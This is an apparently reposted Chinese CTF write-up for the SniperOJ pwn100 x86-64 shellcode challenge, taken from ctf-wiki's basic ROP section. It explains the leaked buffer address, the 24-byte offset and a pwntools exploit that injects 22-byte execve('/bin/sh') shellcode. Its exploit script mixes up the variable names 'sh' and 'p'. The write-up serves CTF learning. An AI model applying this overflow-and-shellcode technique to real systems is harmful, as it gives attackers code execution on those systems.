首页 > 系统相关 >sniperoj-pwn100-shellcode-x86-64

sniperoj-pwn100-shellcode-x86-64

时间:2023-11-08 16:34:07浏览次数:32  
标签:24 10h addr pwn100 shellcode gdb 64 buf

来源

本题来自ctfi-wiki,是基本ROP中shellcode的一道例题

查看保护

  • 程序只开启了位置无关保护 PIE
  • 并且有可写可执行的段

反汇编

  • 发现程序中直接输出了buf的地址,所以PIE就不起作用了
  • 可以看到,后面read函数还调用了buf,很显然就是要利用buf这个段了
  • 然后在汇编代码发现调用read后,后面就紧跟着leave,这个操作会清空栈,故我们要使用buf前面的字节

计算偏移

从ida中可以看到,buf与rbp距离为10h,所以可以直接计算出偏移量 10h
为了防止ida出错,我们在gdb中也反汇编一下main函数,看看是否有差异(有时候ida会与gdb结果不同,以gdb为准)

  • 可以看到二者是相符合的
  • 发现可以利用的字节数只有 10h + 8 = 24 少于 pwntools中自动生成的shellcode的字节数,所以我们要去找占用更少字节的shellcode
  • 这边推荐一个网站,里面的shellcode很丰富并且一直有在维护:https://www.exploit-db.com/shellcodes

exp

# -*- coding:utf-8 -*-
from pwn import *

# 22字节的shellcode
shellcode= b"\x48\x31\xf6\x56\x48\xbf\x2f\x62\x69\x6e\x2f\x2f\x73\x68\x57\x54\x5f\xb0\x3b\x99\x0f\x05" 

sh = process('./shellcode')
sh.recvuntil('[')
buf_addr = sh.recvuntil(']',drop=True)   # 获取buf的地址,这边的drop=True表示舍弃 ']' 
target_addr = int(buf_addr,16) + 24 + 8  # 指向shellcode的地址
p.sendline(24* b'a'+p64(target_addr)+shellcode)
p.interactive()

标签:24,10h,addr,pwn100,shellcode,gdb,64,buf
From: https://www.cnblogs.com/cosylan-blogs/p/17817702.html

相关文章

  • uni-app上传图片后bold转base64
    uni.chooseImage({count:1,//图片张数success:asyncres=>{constreader=newFileReader();reader.readAsDataURL(res.tempFiles[0]);reader.onload=async(e)=>{console.log(e.target.result)//e.target.result转换后的base64......
  • 华为云CodeLab中GPU: 1*P100|CPU: 8核 64GB的显卡驱动与cuda版本
    需要加!!nvidia-smi安装torch时,cuda的版本要<=11.4......
  • Base64编码、解码 C语言例子(使用OpenSSL库)
    #include<stdio.h>#include<string.h>#include<unistd.h>#include<openssl/pem.h>#include<openssl/bio.h>#include<openssl/evp.h>intbase64_encode(char*in_str,intin_len,char*out_str){BIO*b64,*bio;......
  • centOS6.5 无法使用yum源的问题 removing mirrorlist with no valid mirrors: /var/ca
     一次在临时服务器执行yum命令出现报错问题:removingmirrorlistwithnovalidmirrors:/var/cache/yum/x86_64/6/base/mirrorlist.txt ......1、修改fastestmirror.conf的配置参数sed-i"s|enabled=1|enabled=0|g"/etc/yum/pluginconf.d/fastestmirror.conf2、备份......
  • 渗透中 PoC、Exp、Payload、RCE、IOC,Shellcode 的区别
    PoC:全称“ProofofConcept”,中文“概念验证”,常指段漏洞证明的代码。Exp:全称“Exploit”,中文“利用”,指利用系统漏洞进行攻击的动作作。Payload:中文“有效载荷”,指成功exploit之后,真正在目标系统执行的代码或指令RCE:RCE(remotecommand/codeexecute)可以让攻击......
  • 交叉编译htop aarch64 (linux开发笔记)
    准备工具aarch64交叉编译工具下载htop源码http://hisham.hm/htop/index.php?page=downloads下载htop依赖ncurseshttp://ftp.gnu.org/pub/gnu/ncurses/开始编译第一步:先编译ncurser#下载wgethttp://ftp.gnu.org/pub/gnu/ncurses/ncurses-4.2.tar.gz#解压tar-zxvf......
  • 使用counter64解决通过SNMP获取网络流量数据不准问题
    网络流量实时速率是如何计算的?首先我们要知道网络流量实时带宽是如何计算出来的,我们先拿接口流入流量来举例子。通过SNMP的ifInOctets键值,我们可以获取到接口流入数据量的累计总量。那么如果我们想要计算流入流量的带宽速率,只需要固定一个时间间隔(比如30s),在前后分别获取一次累计......
  • java base64字符串转换为图片
    javabase64字符串转换为图片实现步骤:base64字符串长这样'"data:image/png;base64,iVBORw0KGgoAAAAN(中间省略好多字符串)AAAABJRU5ErkJggg=='方法一:首先,图片本质上是一种二进制文件,所以创建一张图片,就是创建一个文件,里面写入二进制的数据。#参数avatar接收base64字符串#1......
  • C#中图片与BASE64码互相转换
    //保存目录stringdir="/upload/user/head";//站点文件目录stringfileDir=HttpContext.Current.Server.MapPath("~"+dir);//文件名称stringfileName="headdemo"+DateTime.Now.......
  • Linux虚拟机联网教程(CentOS 7 64位)
    Linux联网第一步确保Linux虚拟机在关闭状态下操作,点击编辑虚拟机设置,然后在硬件条件下查看网络适配器设置,选择NTA模式。如图: 第二步在虚拟机界面下,选择编辑条件下的虚拟网络编辑器。如图: 之后也选择为NAT模式,“将主机虚拟适配器连接到此网络”也勾上。如图: 第三步......